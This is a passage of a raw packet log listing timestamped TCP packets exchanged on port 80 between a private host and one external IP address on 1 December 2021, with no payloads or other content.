Dec 1, 2021 10:04:29.275448084 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275450945 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275479078 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275504112 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275506020 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275532961 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275558949 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275564909 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275584936 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275605917 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275610924 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275636911 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275654078 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275662899 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275691032 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275703907 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275717974 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275743961 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275757074 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275769949 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275795937 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275810957 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275821924 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275849104 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275861979 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275878906 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275906086 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275921106 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275933981 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275959969 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.275975943 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.275985956 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276014090 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276031017 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276038885 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276067019 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276081085 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276093006 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276119947 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276135921 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276149988 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276175976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276191950 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276205063 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276232004 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276253939 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276269913 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276308060 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276316881 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276335001 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276361942 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276379108 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276386976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276437044 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.276478052 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276529074 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.276571989 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.288384914 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.310856104 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.310913086 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.311028957 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.315195084 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.315315962 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324146032 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324206114 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324245930 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324285030 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324321985 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324361086 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324402094 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324400902 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324439049 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324479103 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324480057 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324512959 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324518919 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324518919 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324561119 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324603081 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324640036 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324644089 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324681997 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324683905 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324723959 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324762106 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324801922 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324840069 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324841022 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.324851990 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.324908972 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.325002909 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.325048923 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.325107098 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.335397005 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335485935 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335544109 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335596085 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335606098 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.335654974 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335707903 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.335712910 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335769892 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335807085 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.335824013 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.335885048 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.335948944 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336005926 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336059093 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336101055 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336114883 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336172104 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336213112 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336230040 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336283922 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336319923 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336339951 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336400032 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336555004 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336602926 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336641073 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336677074 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336679935 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336739063 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336769104 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336802006 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336839914 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336842060 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336873055 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336911917 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.336955070 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.336996078 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337034941 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337068081 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337071896 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337110996 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337130070 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337150097 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337187052 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337203026 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337225914 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337265015 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337280035 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337301016 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337337971 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337351084 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337419033 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337459087 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337475061 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337496996 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337534904 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337629080 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337660074 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337703943 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337718964 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337745905 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337788105 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337795019 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337830067 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337944031 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.337963104 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.337990999 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.338025093 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.338047981 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.338049889 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.338073015 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.338098049 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.338099003 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.338146925 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.369435072 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.369460106 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.369584084 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.373307943 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.373331070 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.373419046 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.384677887 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384707928 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384722948 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384737015 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384757042 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384776115 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384792089 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384810925 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384814024 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.384830952 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384865046 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.384871006 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384874105 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.384891987 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384911060 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384922028 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.384929895 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384948969 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384962082 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.384968042 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.384989023 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.385008097 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.385015011 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.385026932 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.385045052 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.385045052 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.385066032 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.385080099 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.385116100 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396265030 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396312952 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396338940 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396370888 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396394014 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396410942 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396430016 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396436930 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396449089 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396467924 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396481037 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396511078 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396543026 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396584988 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396621943 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396646023 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396677017 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396725893 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396748066 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396778107 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396790028 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396802902 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396816015 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396833897 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396833897 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396861076 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396862984 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396864891 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396867990 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396868944 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396871090 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396873951 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396878958 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396897078 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396898985 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396918058 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396934986 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396948099 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396960974 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396965981 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.396976948 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.396991968 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397008896 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397008896 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397027969 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397043943 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397061110 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397066116 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397078991 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397094011 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397104025 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397120953 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397130966 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397139072 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397156000 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397167921 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397172928 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397186041 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397202969 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397212029 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397219896 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397229910 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397237062 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397253990 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397265911 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397265911 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397281885 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397299051 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397310019 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397315025 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397332907 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397341967 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397351980 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397367954 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397372961 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397386074 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397403002 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.397404909 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.397456884 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.427783966 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.427824974 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.428004980 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.431480885 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.431528091 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.431590080 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.443418026 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443535089 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443588972 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.443591118 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443636894 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443641901 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.443687916 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443732977 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443733931 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.443777084 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443818092 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.443820953 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443862915 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443901062 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.443907022 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443950891 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.443990946 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.443994999 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444042921 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444086075 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.444087982 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444133997 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444173098 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.444178104 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444222927 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444262981 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.444266081 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444310904 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444351912 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.444353104 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444401979 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.444441080 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.444444895 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456259012 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456340075 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456370115 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456399918 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456429958 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456470966 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456501007 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.456510067 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456547022 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.456552029 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456566095 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.456592083 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456629992 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456640959 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.456670046 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456708908 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456712961 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.456748009 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.456787109 CET	80	49755	95.213.165.249	192.168.2.3
